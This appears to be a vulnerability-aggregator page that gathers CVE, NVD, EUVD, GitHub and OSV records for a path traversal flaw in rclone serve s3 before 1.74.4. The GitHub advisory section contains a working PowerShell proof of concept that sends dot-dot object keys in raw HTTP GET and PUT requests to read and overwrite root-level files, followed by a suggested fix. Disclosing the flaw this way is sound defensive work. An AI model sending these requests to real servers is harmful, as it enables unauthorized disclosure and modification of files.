rclone serve s3 Path Traversal via dot-dot object keys

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

rclone serve s3 before 1.74.4 contains a path traversal vulnerability that allows attackers to read and overwrite root-level files by using dot-dot segments in S3 object keys. Attackers can send requests with object keys like ../root-secret.txt to escape the bucket namespace and access files in the serve root directory.

Source published

25 Aug 2026 15:16:10 UTC

Source modified

25 Aug 2026 17:29:20 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

rclone serve s3 before 1.74.4 contains a path traversal vulnerability that allows attackers to read and overwrite root-level files by using dot-dot segments in S3 object keys. Attackers can send requests with object keys like ../root-secret.txt to escape the bucket namespace and access files in the serve root directory.

Source published

Aug 25, 2026, 3:16:10 PM (timezone not stated)

Source modified

Aug 25, 2026, 5:29:20 PM (timezone not stated)

Observed here

11 Nov 2026 16:09:58 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

rclone serve s3 before 1.74.4 contains a path traversal vulnerability that allows attackers to read and overwrite root-level files by using dot-dot segments in S3 object keys. Attackers can send requests with object keys like ../root-secret.txt to escape the bucket namespace and access files in the serve root directory.

Source published

25 Aug 2026 16:17:30 UTC

Source modified

10 Sep 2026 20:46:19 UTC

Observed here

25 Oct 2026 16:19:10 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

### Summary rclone serve s3 allows a client to read and write files at the root of the remote which would normally be inaccessible by using dot-dot path segments in the object key. It does not allow reading files outside of the root. A request such as GET /bucket/../root-secret.txt is handled as an object request for bucket "bucket", but rclone normalizes the backend path and reads root-secret.txt from the serve root. The same issue also allows overwriting root-level files with PUT. ### Details The affected component is rclone serve s3. Relevant source files: cmd/serve/s3/backend.go cmd/serve/s3/multipart.go cmd/serve/s3/list.go In cmd/serve/s3/backend.go, the S3 backend builds backend paths by joining the bucket name and object key with path.Join: fp := path.Join(bucketName, objectName) This pattern is used in object operations such as HeadObject, GetObject, PutObject, DeleteObject, and CopyObject. S3 object keys are opaque names and can legally contain dot-dot segments. However, path.Join treats the object key as a filesystem-style path and normalizes ../ segments. As a result, an object key such as ../root-secret.txt is resolved outside the selected bucket directory. For example, when rclone serve s3 is serving a root directory that contains: root/ bucket/ root-secret.txt a raw S3 HTTP request to: GET /bucket/../root-secret.txt is parsed as a request for bucket "bucket" and object "../root-secret.txt". The backend then calculates: path.Join("bucket", "../root-secret.txt") == "root-secret.txt" This causes rclone to read root-secret.txt from the serve root instead of rejecting the request or treating ../ as part of the S3 object key. The same behavior affects writes. A request such as: PUT /bucket/../root-secret.txt overwrites root-secret.txt in the serve root. This is a path traversal / improper path normalization issue in the S3 serving layer. It does not escape the configured rclone serve root, but it does escape the S3 bucket namespace and can expose or modify root-level files that are not intended to be S3 objects. ### PoC PoC:https://drive.google.com/file/d/1-b1ATr5Szx6iW-x_dcCDppT_aKtY8ene/view?usp=sharing Test environment: Windows 11 rclone v1.74.3 official Windows binary rclone serve s3 using a local filesystem root No --auth-key configured, so the server allows anonymous access as documented 1. Prepare a test serve root: $base = "$env:TEMP\rclone-serve-s3-poc" $root = "$base\root" Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue New-Item -ItemType Directory -Force -Path "$root\bucket" | Out-Null Set-Content -Encoding ASCII -Path "$root\root-secret.txt" -Value "ROOT_LEVEL_SECRET_MARKER" 2. Start rclone serve s3: $rclone = "C:\Users\fff20\AppData\Local\Temp\rclone-current-bin\rclone-v1.74.3-windows-amd64\rclone.exe" & $rclone serve s3 $root --addr 127.0.0.1:19087 -vv --log-file "$base\serve-s3.log" 3. In another terminal, send a raw HTTP GET request containing a dot-dot object key: $port = 19087 $req = "GET /bucket/../root-secret.txt HTTP/1.1`r`nHost: 127.0.0.1:$port`r`nContent-Length: 0`r`nConnection: close`r`n`r`n" $client = [System.Net.Sockets.TcpClient]::new("127.0.0.1", $port) $stream = $client.GetStream() $bytes = [Text.Encoding]::ASCII.GetBytes($req) $stream.Write($bytes, 0, $bytes.Length) $buf = New-Object byte[] 8192 $read = $stream.Read($buf, 0, $buf.Length) [Text.Encoding]::ASCII.GetString($buf, 0, $read) $client.Close() 4. Observe that the response contains the root-level file content: HTTP/1.1 200 OK ROOT_LEVEL_SECRET_MARKER 5. Send a raw HTTP PUT request to overwrite the same root-level file: $body = "OVERWRITTEN_BY_DOTDOT" $req = "PUT /bucket/../root-secret.txt HTTP/1.1`r`nHost: 127.0.0.1:$port`r`nContent-Length: $($body.Length)`r`nConnection: close`r`n`r`n$body" $client = [System.Net.Sockets.TcpClient]::new("127.0.0.1", $port) $stream = $client.GetStream() $bytes = [Text.Encoding]::ASCII.GetBytes($req) $stream.Write($bytes, 0, $bytes.Length) $buf = New-Object byte[] 8192 $read = $stream.Read($buf, 0, $buf.Length) [Text.Encoding]::ASCII.GetString($buf, 0, $read) $client.Close() 6. Confirm that the root-level file was overwritten: Get-Content "$root\root-secret.txt" Observed result: OVERWRITTEN_BY_DOTDOT 7. The rclone debug log shows the unsafe normalization: serve s3: GET OBJECT Bucket: bucket Object: ../root-secret.txt root-secret.txt: Open: flags=O_RDONLY serve s3: CREATE OBJECT: bucket ../root-secret.txt root-secret.txt: OpenFile: flags=O_RDWR|O_CREATE|O_TRUNC Expected result: rclone serve s3 should reject object keys that would normalize outside the selected bucket, or preserve S3 object keys as opaque names without allowing ../ to affect the backend path. Actual result: rclone serve s3 normalizes the object key with path.Join(bucketName, objectName), allowing ../ segments in the object key to escape the bucket namespace and access root-level files under the configured serve root. ### Impact This is a path traversal / improper path normalization vulnerability in rclone serve s3. An attacker who can send requests to an affected rclone serve s3 endpoint can use dot-dot object keys to read or overwrite files outside the selected bucket directory but still inside the configured serve root. In deployments where rclone serve s3 exposes a root containing multiple buckets or root-level operational files, this can allow unauthorized disclosure or modification of files that are not intended to be accessible as objects in the selected bucket. The issue is especially relevant when rclone serve s3 is run without --auth-key, because rclone documents that this configuration allows anonymous access. If authentication is configured, exploitation would require valid S3 access to the server. Suggested fix: Do not build backend paths by directly passing untrusted S3 object keys to path.Join with the bucket name. Before accessing the backend, reject object keys containing path traversal segments that would escape the selected bucket after normalization. Alternatively, preserve object keys as opaque S3 names and encode path separators or dot-dot segments so they cannot affect backend path resolution. Affected version tested: rclone v1.74.3 official Windows binary

Source published

5 Aug 2026 20:27:42 UTC

Source modified

25 Sep 2026 14:25:41 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Publisher rating · MODERATE

Path traversal in serve s3 in github.com/rclone/rclone

Source published

18 Aug 2026 16:38:10 UTC

Source modified

25 Sep 2026 14:25:41 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.